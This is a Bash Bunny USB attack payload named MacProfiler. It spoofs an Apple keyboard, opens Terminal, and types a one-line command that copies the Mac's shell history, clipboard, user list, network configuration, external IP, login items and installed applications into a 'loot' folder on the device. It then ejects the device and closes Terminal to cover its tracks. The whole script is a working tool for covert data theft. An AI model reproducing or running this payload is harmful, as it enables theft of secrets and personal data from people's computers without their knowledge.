#!/bin/bash
#
# Title:         MacProfiler
# Author:        jdetmold
# Version:       1.0
#
# Creates a basic system profile for a mac computer
# Saves all data to loot/MacProfiler/{system name}/item.txt
#
# Saves the following data to individule files:
#
#Terminal history.
#Current clipboard contents.
#List of users on the system.
#ifconfig data.
#Systems WAN IP.
#All login items set to start up with the system.
#List of installed Applications from /Applications.
#
#
# Blue - Running
# Green - Finished
#

LED B
ATTACKMODE HID VID_0X05AC PID_0X021E STORAGE

lootdir=/Volumes/BashBunny/loot/MacProfiler/$\(hostname\)

# Start Terminal
QUACK GUI SPACE
QUACK DELAY 1000
QUACK STRING terminal
QUACK ENTER
QUACK DELAY 2500

# Save data
QUACK STRING mkdir -p $lootdir\; history \> $lootdir/history.txt\; osascript -e \"the clipboard\" \> $lootdir/clipboard.txt\; dscl . list /Users \| grep -v '_' \> $lootdir/users.txt\; ifconfig \> $lootdir/ifconfig.txt\; curl ipecho.net/plain \> $lootdir/ExternalIP.txt\; osascript -e \'tell application \"System Events\" to get the name of every login item\' \>$lootdir/LoginItems.txt\; ls /Applications/ \> $lootdir/Applications.txt\;
QUACK ENTER
QUACK DELAY 1000

# Eject
QUACK STRING diskutil eject /Volumes/BashBunny/;
QUACK ENTER
QUACK STRING killall Terminal
QUACK ENTER

# Sync filesystem
sync

# Green LED for finished
LED G
